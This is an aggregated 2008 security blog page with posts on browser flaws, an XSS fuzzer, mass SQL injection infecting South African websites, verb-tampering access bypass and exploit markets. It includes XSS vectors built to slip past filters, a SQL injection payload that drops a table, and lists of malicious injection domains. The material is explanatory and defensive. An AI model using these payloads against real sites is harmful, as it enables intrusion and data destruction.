There was a lot of discussion about how this behavior could be used in a “blended” attack with IE, but Safari’s behavior affected more than just IE. In fact, I’ve discovered a way to use the Safari’s carpet bomb in conjunction with Firefox to steal user files from the local file system. Even though Apple has patched the carpet bomb, I’m not going to go into details as the issue is not patched and the behavior may be replicated via other means (it’s the kinder, gentler BK). I’m also happy to say that some of the improved security features in Firefox 3 help lower (but do not eliminate) the impact of the issue (Firefox 2 users could still be at risk of arbitrary file pwnage). Mozilla is working on the issue and they’ve got a responsive team, so I’m sure we’ll see a fix soon.
- UNREALTED NOTE TO MOZILLA: Firefox 3 shouldn’t FORCE itself to be my default browser after I install it (YES, I unchecked the default browser checkbox during install)
Now, these types of vulnerabilities are a perfect example of how the all the software and systems we use are part of a giant ecosystem. Whether we like it or not, the various parts of the ecosystem are intertwined with each other, depending on each other. When one piece of the ecosystem gets out of line, it can have a dramatic effect on the ecosystem as a whole. A small vulnerability or even an “annoying” behavior from one piece of software could alter the behavior of 2nd piece of software, which a 3rd piece of software is depending on for a security decision (The recent pwn2own browser -> java -> flash pwnage is a great example of this). As the ecosystem grows via plugins, functionality, and new software, so does the attack surface. Eventually, the interactions between systems and software become a gigantic mesh and the attack surface becomes almost infinite.

Now, a lot of people have criticized Apple for their inability to see the carpet bombing behavior as a security issue. If Apple looked at their product (Safari) in isolation, maybe it wasn’t a high risk security issue to them and it was really more of an annoyance… its only when you look at the ecosystem as a whole do we start to see the security implications of this behavior. Should we have expected Apple to threat model the risks of this behavior against their own products AND other third party products as well? Can we reasonably expect them (or anyone) to have the requisite knowledge to truly understand how certain behavior will affect the ecosystem?

This brings us to a pressing question. In the “real world”, users install products from multiple vendors. Whose responsibility is it to examine the interaction between all these products?

The Spanner

XSS tag fuzzer

Posted: June 18th, 2008, 1:26pm CDT by Gareth Heyes

Tags: Security [edit]
It’s been a while since I’ve blogged but I’m pretty busy at the moment with my new baby and also moving jobs as I was made redundant. I thought I’d combine my work with my blogging as I’m working on some XSS vectors for IE8.

During the process I built a simple tag fuzzer which throws all events and attributes at it with as many tags I could find (big thanks to rsnake for the events). At the moment this is just a basic fuzzer which attempt the standard events/attributes but I plan to add encodings and random characters to make it better.

One interesting discovery so far was that the applet, iframe and script have a new event in IE8 (at least I think it’s new) onreadystatechange which allows you to execute inline JS e.g.:-
```
<applet onreadystatechange=alert(1)>
```
Only tested in IE8 but could work in other browsers.
XSS tag fuzzer

Justice League

Search Security video

Posted: June 9th, 2008, 2:56pm CDT by gem

Tags: Software Security [edit]
At RSA this year, I did a quick video interview with Dennis Fisher an old friend who is now the lead editor of Search Security. The resulting video is here

Here are the questions I answered during the interview (along with some bonus pointers that I’ll include in this posting). As you can see, we mostly talked about software security:
- Let’s talk about where things stand with the state of software security in the industry today. Are you optimistic?
- I’ve heard a lot of people say that solving the software security problem is going to cost a lot of time and money in the development process. Is that true?
  See this informIT article.
- I know there’s a lot of training that goes on in the professional world in terms of software security for developers, but is that happening more in colleges and universities right now compared to five years ago?
  See this IT Architect article.
- What about the commercial software vendors. How much progress are they making on this problem?
- Are there one or two problems that really worry you in software security right now?
  See this IEEE S&P article.
If you like this video, please let the Search Security people know so they feel compelled to do more.

Michael Howard's Web Log

More on Heap Corruption and Process Termination

Posted: June 6th, 2008, 11:31pm CDT by michael_HOWARD

Tags: Security [edit]

I just added a post over on the SDL blog about heap corruption and process termination as well as some caveats you should be aware of if you use your own custom heap manager.

Dominic White's .tHE pRODUCT

Major SA websites hacked by China - nobody cares about the Web

Posted: June 5th, 2008, 5:39pm CDT

Tags: Security [edit]
Over the last few weeks, we have seen a set of incredibly uncomplicated and simple attacks effectively compromise several hundred South African web pages, and several million internationally. Many of the South African sites compromised were important; including major media organisations, several government institutions, large mining houses and even one information security company, who still have not removed the pie from their face. The intention of the attacks was to use the compromised web pages to infect visitors with a variety of malware, but most commonly, a trojan which attempts to steal as many passwords as it can, including specific references to some internet banking sites.

The response to the incident from both consumers and the affected companies seems to indicate that when it comes to the web in South Africa, nobody cares.

The Attack

Let’s get the details out of the way so that we can wander over to the hand waving. The attacks involved a technique knows as SQL injection. For those of you that usually skip over tech details, fast-forward the next two paragraphs. SQL injection involves taking advantage of the way in which SQL statements are executed on the database by the web application, a more detailed breakdown is available after the article. A SQL injection usually means that an attacker can take near full control of the database, the machine hosting it and any applications using the database as a backend.

In this instance, the bad guys were using Google to search for vulnerable web sites, then injecting Microsoft SQL specific statements to insert a remote JavaScript include to the end of every table. This has a good chance of getting that JavaScript inserted into any web pages that are pulling their content from a database (i.e. most of them). When a user visits an infected page, the JavaScript would then try and break into it by using a variety of attacks against outdated versions of iTunes, AIM, RealPlayer, Acrobat Reader, Shockwave Flash among others. Once successful, some form of malicious software is installed to the user’s computer, most commonly a password stealer. Once an injection has occurred, the attacker can vary what it does to users. So, if your anti-virus program updates to detect the evilware, the bad guy can just change it and is more likely to be able to rapidly modify his app than the anti-virus guys are able to discover, analyse and block it. Although, we did not see too much of the latter stuff.

To summarise the attack:
Search Google -> SQL Injection on Web Site -> User Visits Website -> User’s Computer is Infected -> Bad Guys Steal User’s Passwords -> Bad Guys Steal User’s Money

In the security world this attack falls squarely into the category of ‘lame’. What I mean is, they did nothing complex for which there aren’t good, easy to implement solutions. Searching Google for potentially vulnerable sites is in this case not even targeting the low hanging fruit, closer to the old rotten fruit slowly dying around the base of the tree. Using SQL which only works against MS SQL, when SQL as a language is generic enough to craft something that works against Oracle, PostGres, Sybase and MySQL. Using the injection point to squirt in some JavaScript and ‘wasting’ the full power of SQL injection. Exploiting vulnerabilities in applications for which updates have already been released to fix them and a decent anti-virus program should pick up. Stealing something as simple as a password instead of doing something incredible like injecting an advanced rootkit that makes your Second Life character look like Michael Jackson. Finally, using single domains with no fast-flux survivability like those infuriating bot-herder, is all just boring. Then again, criminals do not need to be innovative when it is this easy.

The Outcome

These attacks have been wildly successful. Without using any of the advanced techniques we have seen botnet developers put together over the last year, or any decent ‘worm-like’ activity, they managed to hit 3.5 million web pages. In addition, they are not done yet. It seems tools are being distributed to do this stuff for you, and they only cost a few Yuan. It is more likely that we’ve seen so many successful attacks because the costs of running them are so low, and there are a few hundred people doing it. Whenever we see attacks that are successful and easy to do, they tend to continue for the next couple of months or years until they stop being successful. In short, expect more of these, and expect them to get more advanced.

The Response

The response has not been very varied from the South African online practitioners. Most of the time, when I contacted the developers, they knew about the problem and were working on it. This consisted of removing that instance of the infected web page, which was shortly re-infected. Worse still, often only the ‘known’ infected web pages were cleaned, so an organisation may have had 10 pages infected, but only cleaned 7 because they had not see the others.

However, the ‘real’ impact of something like this is not at a technical level, this has the potential to affect the business. There’s a real risk to the business’ reputation; most want to be known as safe, honest, well controlled companies; hosting viruses on behalf of Chinese bad guys does not reconcile well with that. There is a legal and compliance risk, whether it is industry mandated compliance such as Sarbanes Oxley and the Payment Card Industry’s Data Security Standard or legislative requirements such as the up-coming Protection of Personal Information Act, the risks of non-compliance in these cases, or worse, legal action arising from it, can be quite dire. Finally, there is a financial risk, especially from web sites that rely on their online presence. Some of the affected media organisations, where having Google mention that ‘this site may harm your computer’, could have their ad revenue seriously dented along with their readership. However, right now, this just sounds like fear mongering, as we have not seen any of this happen. Maybe it still will, but it doesn’t seem that many of the affected company’s IT management have got wind of this, or we wouldn’t have seen the fix-the-symptom patch-ups we have, and I am fairly certain there are no CFOs losing sleep over this.

The hand waving

The conclusion I draw from all of this is that, at least in the large corporate space, no one important in South Africa really cares about the Web. The companies are not too worried that this will amount to any sort of real risk to them, and users are mostly too clueless about security to realise, let alone protest, the fact that their favourite radio station’s website is trying to steal their passwords. Worse still, the new importance-making-push into Web 2.0 is going to exacerbate this security problem, as a new wave of more complex and poorly secured tech washes over the IT industry. In the meantime, watch this space and if you are lucky enough to have not been infected because you were not using Microsoft’s SQL server (make no mistake, it was luck), start getting your devs trained up in writing secure code.

Appendix

SQL injection involves taking advantage of the way in which SQL statements are executed on the database by the web application. If, for example, you have an input field asking me for my name, and slap my input into a piece of SQL such as:
```
INSERT INTO names VALUES ('Dominic'); 
```
Then, if I enter my name as: Dominic’); DROP TABLE names;– , the resulting SQL statements becomes:
```
INSERT INTO names VALUES ('Dominic'); DROP TABLE names; --'); 
```
The name will be inserted, but the database will also delete the entire table. This is a fairly tame example, and in reality, a SQL injection usually means that an attacker can take near full control of the database and the machine hosting it.

The ‘right’ way to defend against it is to use parameterised and pre-compiled SQL statements so that anything you input cannot ‘break out’ and run awry. It always pays to be safe, and so making sure the application account has minimum database privileges, the database has been securely configured and you have firewalled properly goes a long way to either stopping an attacker in their tracks or making it easier to spot them. Please note that ‘input validation’ is not the right way to stop this, and those expensive Intrusion Prevention Systems and Web Application Firewalls will not be able to either.

This was originally posted for TechLeader at the following URL.

Rational Survivability

Security Will Not End Up In the Network...

Posted: June 3rd, 2008, 3:13pm CDT by beaker

Tags: Application Security [edit]
It's not the destination, it's the journey, stupid.

You can't go a day without reading from the peanut gallery that it is "...inevitable that network security will eventually be subsumed into the network fabric." I'm not picking on Rothman specifically, but he's been banging this drum loudly of late.

For such a far-reaching, profound and prophetic statement, claims like these are strangely myopic and inaccurate..and then they're exactly right.

Confused?

Firstly, it's sort of silly and obvious to trumpet that "network security" will end up in the "network." Duh. What's really meant is that "information security" will end up in the network, but that's sort of goofy, too. You'll even hear that "host-based security" will end up in the network...so let's just say that what's being angled at here is that security will end up in the network.

These statements are often framed within a temporal bracket that simply ignores the bigger picture and reads like a eulogy. The reality is that historically we have come to accept that security and technology are cyclic and yet we continue to witness these terminal predictions defining an end state for security that has never arrived and never will.

Let me make plain my point: there is no final resting place for where and how security will "end up."

I'm visual, so let's reference a very basic representation of my point. This graph represents the cyclic transition over time of where and how we invest in security.

We ultimately transition between host-based security, information-centric security and network security over time.

We do this little shuffle based upon the effectiveness and maturity of technology, economics, cultural, societal and regulatory issues and the effects of disruptive innovation. In reality, this isn't a smooth sine wave at all, it's actually more a classic dampened oscillation ala the punctuated equilibrium theory I've spoken about before, but it's easier to visualize this way.

Our investment strategy and where security is seen as being "positioned" reverses direction over time and continues ad infinitum. This has proven itself time and time again yet we continue to be wowed by the prophetic utterances of people who on the one hand talk about these never-ending cycles and yet on the other pretend they don't exist by claiming the "death" of one approach over another.

Why?

To answer that let's take a look at how the cyclic pendulum effect of our focus on security trends from the host to the information to the network and back again by analyzing the graph above.
1. If we take a look at the arbitrary "starting" point indicated by the "You Are Here" dot on the sine wave above, I suggest that over the last 2-3 years or so we've actually headed away from the network as the source of all things security.
  
  There are lots of reasons for this; economic, ideological, technological, regulatory and cultural. If you want to learn more about this, check out my posts on how disruptive Innovation fuels strategic transience.
  
  In short, the network has not been able to (and never will) deliver the efficacy, capabilities or cost-effectiveness desired to secure us from evil, so instead we look at actually securing the information itself. The security industry messaging of late is certainly bearing testimony to that fact. Check out this year's RSA conference...
2. As we focus then on information centricity, we see the resurgence of ERM, governance and compliance come into focus. As policies proliferate, we realize that this is really hard and we don't have effective and ubiquitous data classification, policy affinity and heterogeneous enforcement capabilities. We shake our heads at the ineffectiveness of the technology we have and hear the cries of pundits everywhere that we need to focus on the things that really matter...
  
  In order to ensure that we effectively classify data at the point of creation, we recognize that we can't do this automagically and we don't have standardized schemas or metadata across structured and unstructured data, so we'll look at each other, scratch our heads and conclude that the applications and operating systems need modification to force fit policy, classification and enforcement.
  
  Rot roh.
3. Now that we have the concept of policies and classification, we need the teeth to ensure it, so we start to overlay emerging technology solutions on the host in applications and via the OS's that are unfortunately non-transparent and affect the users and their ability to get their work done. This becomes labeled as a speed bump and we grapple with how to make this less impacting on the business since security has now slowed things down and we still have breaches because users have found creative ways of bypassing technology constraints in the name of agility and efficiency...
4. At this point, the network catches up in its ability to process closer to "line speed," and some of the data classification functionality from the host commoditizes into the "network" -- which by then is as much in the form of appliances as it is routers and switches -- and always will be. So as we round this upturn focusing again on being "information centric," with the help of technology, we seek to use our network investment to offset impact on our users.
5. Ultimately, we get the latest round of "next generation" network solutions which promise to deliver us from our woes, but as we "pass go and collect $200" we realize we're really at the same point we were at point #1.
'Round and 'round we go.

So, there's no end state. It's a continuum. The budget and operational elements of who "owns" security and where it's implemented simply follow the same curve. Throw in disruptive innovation such as virtualization, and the entire concept of the "host" and the "network" morphs and we simply realize that it's a shift in period on the same graph.

So all this pontification that it is "...inevitable that network security will eventually be subsumed into the network fabric" is only as accurate as what phase of the graph you reckon you're on. Depending upon how many periods you've experienced, it's easy to see how some who have not seen these changes come and go could be fooled into not being able to see the forest for the trees.

Here's the reality we actually already know and should not come to you as a surprise if you've been reading my blog: we will always need a blended investment in technology, people and process in order to manage our risk effectively. From a technology perspective, some of this will take the form of controls embedded in the information itself, some will come from the OS and applications and some will come from the network.

Anyone who tells you differently has something to sell you or simply needs a towel for the back of his or her ears...

/Hoff

Dominic White's .tHE pRODUCT

SABC Blacklisted by Google

Posted: June 2nd, 2008, 4:48pm CDT

Tags: Security [edit]
I've been ranting about the SQL injections for a while now. While infecting your visitors with malicious software semi-silently generally doesn't put the pressure on the right people (i.e. the externality lies on the infected user not the infecting business), having your organisation blacklisted by Google shifts that externality. Here are the screenshots of Google warning me that the South African Broadcasting Company (SABC) may harm my computer. Check it yourself by googling 'sabc'. At the time of writing, the SABC had fixed the page.

Strangly enough, of the almost 100 other infected SA domains, the only other two South African domains blacklisted were:
- gowerpower.co.za
- 4hair.co.za and fourhair.co.za
- saart.net
While we're at it, I've found the following *new* domains injected into SA sites:
1. nihaoel3.com - 21 700 (International), 2 (Local)
2. qiqigm.com - 80 500, 3
3. woai117.cn - 5, 1
Finally, as a last, unrelated, poke in the eye, it seems the 'International Housing Research Network' a .gov.za site has had it's forums defaced (they've been contacted):
Chip & Spin

Posted: June 2nd, 2008, 2:32pm CDT

Tags: Security [edit]

After my previous entry on EMV cards, Grant pointed me to this wonderful site, complete with wonderful PDF, neatly breaking down all the many reasons why EMV cards are broken. Well worth a read, especially if you are a Ross Anderson fan-boy.

ha.ckers.org web application security lab

Flying Woes

Posted: June 2nd, 2008, 9:01am CDT by RSnake

Tags: Random Security [edit]

I’m with Bruce Schneier. I never really spent enough time on airplanes to be particularly annoyed by the entire process until last year. I actually wrote the majority of this on a flight to Las Vegas for the SANS conference today as a matter of fact. While cumbersome and obnoxious in many ways, I’ve managed to isolate myself from the majority of those annoyances with things like off line email (won’t off line enabled JS apps rock your world - you’ll be able to hack as you fly!), mp3s and noise canceling headphones. Further, packing light (see onebag.com) makes my life just a lot easier.

But, and here comes the big but, why in this day and age are we still turning off portable electronic devices as we take off and land? The stewardess was making a joke that that includes wristwatches, pace makers and hearing aids. I’ve inadvertantly left my cell phone on during a flight last year, we must have narrowly escaped our death on that one. Somehow the terrorists haven’t figured out this critical weakness in our security yet though, thankfully. Anyway sarcasm aside, I’m with Bruce.

Some of these rules and security precautions are just complete nonsense. A knife that’s 3 1/2 inches is fine, but four inches and you’re a terrorist! Thankfully, I don’t really look like a trouble maker, if you could even articulate what a trouble maker did look like. So in all but one occasion I have managed to escape the involuntary TSA rub-down. All they’re missing is the oil and the sleazy seventies music!

Anyway, I’m speaking at SANS in Vegas then flying to Orlando for GFIRST/US-CERT and then to Denver for OWASP. I’ll get plenty of chances to be annoyed by the safety threat that I present by using noise canceling headphones between now and then I’m sure.

I’m not exactly sure why, but this reminds me of when I was doing a speech for the OWASP chapter in Minnesota. It was on a University campus. Being nice enough to host the event they also gave us an AV person. The AV person decided that I was an idiot upon only looking at me and made it clear that I shouldn’t touch her computers, yet she didn’t have anything installed despite the fact that she said she had MS office, the projector was having problems and it was clear she was pretty clueless. Yet she was still obviously annoyed at my gentle questioning. My friend was ready to rip her head off and was surprised I didn’t tell her who I was and where to shove her attitude. Sometimes it’s better to let people think they know what they are doing until they prove it to themselves that they don’t. She eventually gave up and let me do it myself (my own laptop and a non faulty cable later and we were up and running). I’m still waiting on the airline industry to come to the same conclusion as our beloved AV maiden.

tssci security

VBAAC Security and You

Posted: May 28th, 2008, 9:41am CDT by Marcin

Tags: Security [edit]

My good friend Arshan Dabirsiaghi at Aspect Security released an interesting paper today on Bypassing VBAAC with HTTP Verb Tampering. For those who don’t know what VBAAC is, it stands for “Verb-Based Authentication Access Control.” Unfortunately, most vendors have screwed up the implementation by taking a default allow approach, and as a result developers are likely to have [unintentionally] exposed their applications.

How’s the attack work? Well, in applications that utilize VBAAC, a developer, as an example, can specificy security constraints that allows only GETs and POSTs to the /admin/* directory for the “admin” user. The constraint would like so in web.xml file in a Java EE web application:

<security-constraint> <web-resource-collection> <url-pattern>/admin/*</url-pattern> <http-method>GET</http-method> <http-method>POST</http-method> </web-resource-collection> <auth-constraint> <role-name>admin</role-name> </auth-constraint> </security-constraint>

The interesting part about this, is that this constraint limits POST and GET access to /admin/* for the admin user. Anyone can submit a HTTP HEAD request for the resource or an arbitrary HTTP verb, if allowed (the paper uses JEFF method as an example), and the resource can be accessed.

The end result of this is that resources are less restricted than expected. The caveat being that responses will not always be seen by an attacker, though damage can still be done. Take a moment to read the paper now — it’s concise, gets straight to the point, and gives solutions. This likely affects application(s) you are responsible for, so take the time to understand the risk and take action.

Dominic White's .tHE pRODUCT

SQL injection domains and SA stats

Posted: May 27th, 2008, 5:30am CDT

Tags: Security [edit]

I took the latest list from ShadowServer (as at 23 May 2008), and did a comparison of SA infected pages to globally infected pages. I used a lame google search for these, but it shows some interesting results. You can see where the focus on the 'well known' domains paid off, and the new injections haven't been cleaned up yet. There is a serious case of missing root cause analyses here. Still some large SA sites infected, but mainly Gov, Property and Storm telecoms sites now.

Host	Global	South Africa
9i5t.cn	418 000	37
bbs.jueduizuan.com	20 000	10
www.qiqigm.com	193 000	8
www.wowgm1.cn	65 700	8
www.nihaorr1.com	158 000	7
www.adw95.com	23 900	5
www.dota11.cn	217 000	4
www.killwow1.cn	68 000	3
usuc.us	66 200	3
www.kisswow.com.cn	60 600	3
www.chliyi.com	33 800	3
computershello.cn	30 600	3
www.2117966.net	18 600	3
xprmn4u.info	356 000	2
www.nihaoel3.com	47 600	2
www.wowgm2.cn	34 300	2
killpp.cn	18 500	2
www.banner82.com	513 000	1
www.ririwow.cn	58 500	1
www.wow112.cn	36 000	1
www.qiqi111.cn	19 500	1
s.see9.us	216 000	0
www.direct84.com	121 000	0
www.adword71.com	112 000	0
free.hostpinoy	102 000	0
www.bluell.cn	68 000	0
www.nmidahena.com	53 900	0
www.qiuxuegm.com	42 700	0
www.nihao112.com	42 500	0
www.wowyeye.cn	42 400	0
winzipices.cn	33 500	0
sb.5252.ws	20 100	0
a188.ws	19 900	0
www.117275.cn	19 500	0
www.aspder.com	18 600	0
www.11910.net	13 100	0
www.414151.com	12 900	0
urkb.net	11 400	0
firestnamestea.cn	7 640	0
1.hao929.cn	3 870	0
c.uc8010.com	964	0
a.ka47.us	769	0
rnmb.net	552	0
ucmal.com	530	0
c11.8866.org	517	0
b15.3322.org	436	0
www.caocaowow.cn	94	0
xvgaoke.cn	90	0
free.edivid.info	63	0
heartgames.cn	57	0
al.99.vc	49	0
h28.8800.org	49	0
www.msshamof.com	35	0
3.trojan8.com	22	0
n.uc8010.com	10	0
d39.6600.org	9	0
t.uc8010.com	8	0
www.aidushu.net	7	0
001yl.com	7	0
yl18.net	6	0
www.z008.net	6	0
cc.18dd.net	5	0
www.fucksb.net	5	0
m11.3322.org	5	0
bc0.cn	5	0
newasp.com.cn	3	0
vb008.cn	2	0
smeisp.cn	1	0
a.13175.com	1	0
52-o.cn	1	0
w11.6600.org	1	0
okey123.cn	0	0
b.kaobt.cn	0	0
www60.actualization.cn	0	0
17ge.cn	0	0
www.adword72.com	0	0
mm.jsjwh.com.cn	0	0
Totals	3 422 119	109

ha.ckers.org web application security lab

Lifelock CEO Gets Identity Stolen

Posted: May 23rd, 2008, 5:54pm CDT by RSnake

Tags: Random Security [edit]

I got sent this link today and I actually laughed out loud when I saw it - Todd Davis (CEO of LifeLock) had his identity stolen. I completely understand and can feel for the poor CEO who probably genuinely thought that his company could protect from all forms of identity theft, but the harsh reality is it didn’t. My favorite quote from the article:

“There’s nothing to indicate my identity has been successfully compromised other than the one instance.”

Other than the one instance, that is, but it was just that once. Annnyway, the biggest problem I have is with the $1,000,000 protection they have, which, unfortunately has absolutely nothing to do with the kind of thing that Davis faced. It has to do with technology breakdowns in the system - a far less likely occurrence.

Our service guarantee is simple, but it is limited. We will pay up to $1,000,000 to cure the failure or defect in our service…

Not only that but on their site it’s highly deceptive:

What LifeLock doesnt stop, they fix at their expense up to $1,000,000.

Nooo… what Lifelock doesn’t stop you are on your own for. It’s too bad, because I really wish this company were squeaky clean. There are so many people who actually could benefit from it. Maybe if Davis just hadn’t plastered his information all over the place…

Dominic White's .tHE pRODUCT

SQL injections continue

Posted: May 20th, 2008, 12:43pm CDT

Tags: Security [edit]
I now count approximately 1.5million infected sites based on the updated list of domains at ShadowServer. SA infected pages are now up to 1 340, although this varies wildly based on the Google DC queried. Some large SA sites are still being re-infected.
There's also a new consequence. Instead of just silently infecting your users with malware, which is hard to spot. Google is now blocking access to some of the sites, along with Firefox if you have the safe browsing lists enabled. If reputation doesn't drive action, falling ad revenues should.

Out of interest, Shadow Server lists the following domain and approximate number of infected pages as of the 14th of May 2008:
- www.nihaorr1.com - 468,000
- free.hostpinoy.info - 444,000
- xprmn4u.info - 369,000
- www.nmidahena.com - 140,000
- winzipices.cn - 75,000
- sb.5252.ws - 69,000
- www.aspder.com - 62,000
- www.11910.net - 47,000
- bbs.jueduizuan.com - 44,000
- www.bluell.cn - 44,000
- www.2117966.net - 39,000
- s.see9.us - 39,000
- xvgaoke.cn - 33,000
- www.414151.com - 17,000
- yl18.net - 15,000
- www.kisswow.com.cn - 13,000
- c.uc8010.com - 9500
- www.ririwow.cn - 6000
- www.killwow1.cn - 4000
- www.qiqigm.com - 3600
- www.wowgm1.cn - 3500
- www.wowyeye.cn - 2800
- 9i5t.cn - 2500
- computershello.cn - 2300
- www.z008.net - 1600
- b15.3322.org - 1200
- www.direct84.com - 1100
- www.caocaowow.cn - 900
- firestnamestea.cn - 700
- %61%31%38%38%2E%77%73 (a188.ws) - 500
- www.qiqi111.cn - 230
- www.banner82.com - 90
- smeisp.cn - 85
- okey123.cn - 55
- www.nihao112.com - 45
- free.edivid.info - 40
- h28.8800.org - 34
- ucmal.com - 30
- t.uc8010.com - 30
- www.dota11.cn - 25
- bc0.cn - 20
- www.adword71.com - 17
- w11.6600.org - 13
- usuc.us - 13
- newasp.com.cn - 7
- www.wowgm2.cn - 8
- 17ge.cn - 4
- www.adword72.com - 2
- www.117275.cn - 1
- vb008.cn - ?
- www.wow112.cn - ?
- www.nihaoel3.com - ?

The Spanner

Firefox applet fun

Posted: May 20th, 2008, 4:02am CDT by Gareth Heyes

Tags: Security [edit]
I’ve been hacking the PHPIDS recently and I wanted a pure XSS vector not just script execution, I decided to experiment with the applet tag because it sneaks past the malicious tag detection. I thought to myself I wonder if it accepts the type attribute like the object tag does….
```
<applet src="data:text/html;base64,PHNjcmlwdD5hbGVydCgvWFNTLyk8L3N
jcmlwdD4" type=text/html>
```
That works it executes the base64 encoded string as HTML! It doesn’t stop there though
```
<applet src="http://www.businessinfo.co.uk" type=text/html>
```
The applet tag even acts like a iframe

Dominic White's .tHE pRODUCT

Robert of WabiSabiLabi Responds

Posted: May 17th, 2008, 5:54am CDT

Tags: Security [edit]

Check out the comments on the last entry. Roberto spent some time responding, and re-responding. Makes for some interesting reading.

Michael Howard's Web Log

Giving SQL Injection the Respect it Deserves

Posted: May 16th, 2008, 3:49pm CDT by michael_HOWARD

Tags: Security [edit]

I just posted an article on the SDL blog about the recent news of SQL injection vulnerabilities...

Dominic White's .tHE pRODUCT

Why I think Exploit Markets are bad - a response to Roberto Preatoni of WabiSabiLabi

Posted: May 15th, 2008, 1:39am CDT

Tags: Security [edit]

Last week, Roberto Preatoni, founder of WabiSabiLabi, the exploit eBay, gave a talk at the ITWeb Security Conference about his creation. I really wanted to ask a question, but there was no time. At the end of his talk, when asked who agrees that WabiSabiLabi is a good idea (i.e. creating a market place for vulnerabilities and exploits to be freely sold and traded, like eBay) like Roberto, I was surprised to see so many hands go up as the general info sec community has reacted quite harshly to the idea. A possible explanation based on my experience is that many ITWeb attendees are not 'hardcore' security people, and haven't been following the disclosure argument over the last decade. Then, given only Roberto's talk, chose to agree with him due to a lack of any exposure to rebuttal. When asked who disagrees, I was the only one who put their hand up.

So, here's why.

First up, let me say, I don't know Roberto personally, and have no personal vendetta. I also do not work for a security vendor, so am not coloured by a shoot the messenger mentality. Finally, I agree that to do what Roberto and his team did took serious courage and they have weathered some big (and unfair) fights, which probably would've had me packing for the hills. However, from the comfort of my blogging seat, I don't think an exploit market is a "good thing". My rebuttal *is* coloured by the ethics debate. It could be a hangover from the last decade of the debate being coloured by this, but, as a 'white-hat' I am specifically defining myself as a security person with ethics. If you don't care about anything but getting the most money to vulnerability researchers, then you won't buy my argument.

Roberto's main premise seems to be that vulnerability researchers (I don't like the term 'security researcher' for this purpose, it is too vague and generalised), are forced to hand over the results of their time and effort for free, to a vendor who often does not respect them for their work, all in the name of ethics. By providing a market-place, a place where sellers and buyers can gather, vulnerability researchers can have their work monetized. The implication being, that vulnerability research can be a job, and the security world benefits by getting holes closed.
The All Knowing Market
I've never been a fan of 'free markets'. The main reason is that the invisible hand isn't always an ethical one. Take for example the world's terrible food distribution, where food is literally thrown away while others starve all because of how the market has structured the whole scheme to get the buyers with the most money to the sellers. Roberto explicitly mentioned the pharmaceutical industry as a comparison, which is a great example of where the market hasn't provided for the needs of people. We've had people researching esoteric illnesses instead of the African killer, tuberculosis, because of where the money is coming from. We've had over priced AIDS drugs, forcing India, Brazil and SA to threaten calling a state of emergency to allow us to produce cheap generics in terms of the TRIPS agreement. The end result is that the best course of action, namely curing the most number of most sick people, hasn't happened, but is considered better than no market where doctors do it for free. There are 'better' solutions however, such as the medical innovation prize fund, a model which could well work here, but more on that later. Let's make it more specific though, here's why I think a free market in this instance is bad too.
Implications
Ok, so given that by creating a market, things may not be driven by ethical lines, let's examine what sort of behaviours we could see.
Vendors held ransom
Now that the bugs are being peddled on an open market, vendors must compete with a variety of buyers, from security firms to bad guys. They will always have to assume that their buying the bug is better than someone else buying it, and in the case of big bugs (Vista 0day for example) will have to pay a fair amount of money. This has two problems. The first is that vendors have to start spending money that could otherwise be used to find, fix, or better, prevent, their own bugs. The second is that you have a skewed market where it is always in the best interest of the vendor to acquire the bug, and they are pitted against the whole market, not exactly willing buyer.
Criminal Syndicates
Given that the vendor now has to outbid the entire market, it is likely that prices will be driven fairly high. Now, we can safely assume bad guys may want to buy bugs. However, the individual bad guy wont have the funds. Thus, bad guys will need to club together and pool their money to outbid the vendor (or other security firms), and now you have a syndicate. I'm not saying that this is the only way syndicates can form, just that it encourages new ones to form, and makes existing syndicates likely competition. WabiSabiLabi does implement a vetting system, but a quick look at existing handgun registration systems will show that this isn't an effective way to stop bad guys from buying legitemate (as opposed to the black market guns we know they get), or at the very least, from using them to kill someone, it is just a semi-ineffective post-event auditing technique.
Black Market
On the syndicate point, people often suggest free or free-er markets in reaction to the existence of a black market. This could provide some interesting stats; we could get an idea of what bugs are being traded, how many, their price etc. A potentially very valuable tool for threat research. However, Roberto himself concedes that this will not get rid of the black market. First, because many syndicates are actually hiring vulnerability researchers of their own (some straight out of varsity) and second, because the existing black market provides more anonymity, or at least more trusted anonymity. In essence, they have their own vulnerabilities, and can make more money exploiting things with them, than selling them.
Weaponisation
Another implication of this market is that it will encourage people to weaponise vulnerabilities into exploits. Right now, (for example) a demonstration of a repeatable crash is usually enough to show the vulnerability exists, and things are weaponised usually to prove a point. However, in a true exploit market place, several types of guns (exploits) can be sold to exploit the same vulnerability in the human head. Thus, when a Microsoft patch is released, it may be worth my while to reverse engineer it and create a working exploit to sell to the highest bidder. This could be stopped by only allowing original vulnerabilities to be sold, but seems like an arbitrary restriction on the otherwise free market.
Arbitrary Restrictions
Speaking of arbitrary restrictions. Roberto brought up a few in his talk. He mentioned that they refused to sell exploits in online poker sites, or an XSS in MySpace etc. The general trend was that they didn't allow web app vulnerabilities to be sold. This is a pretty arbitrary restriction, as I don't see much difference between allowing an authentication bypass for windows to be sold vs allowing an authentication bypass for MySpace to be sold. If you look at other 'market regulators' such as the SEC or our own JSE, they usually implement controls to ensure the market functions correctly (e.g. prevent people from misrepresenting market related information e.g. financial statements or abusing market mechanisms e.g. insider trading). They do not stop certain stocks from being traded based on the supposed actions of the investors or the company. Now, if WabiSabiLabi has already started down this road of arbitrary restrictions, most likely due to some ethical drive, then they must acknowledge that they want an ethical outcome. Given that a free market doesn't lead to an ethical outcome, a free marketplace may not be the best way of doing this. In short, they either have to remove the restrictions and put up with the potential badness, or keep them and be labeled hypocrites or at least inconsistent (logical doomsday words ;) ) or shut down the market.
A better way
In his talk, Roberto did a sort of reductio on responsible disclosure. However, the model of responsible disclosure he presented was the sort of model 3Com's Zero Day Initiative (ZDI) takes. I was fairly confused about this, as I don't see much difference between the ZDI model and that of WabiSabiLabi's in terms of disclosure, in fact Roberto acknowledged them as competitors.

Now, responsible disclosure isn't really a well pinned down term, but I don't believe it is an inherently flawed model in all possible cases. So let me present a model as I believe many understand it, which will work to the most ethical outcome, and cover Roberto's need to monetize the whole shebang. It will be brief, as there is already stacks of info out there about this.

If you find a bug, report it privately to the vendor. The vendor should get back to you within a reasonable time frame, produce a good fix within a reasonable timeframe and credit you in the patch release. If the vendor is antagonistic or takes too long to release a patch, then full disclosure applies where all details are released publicly to drive the vendor to action. This model worked very well with Microsoft, where full disclosure drove the otherwise antagonistic or ignorant vendor into making some serious changes and turning them into (dare I say it) the good security vendor we see today.

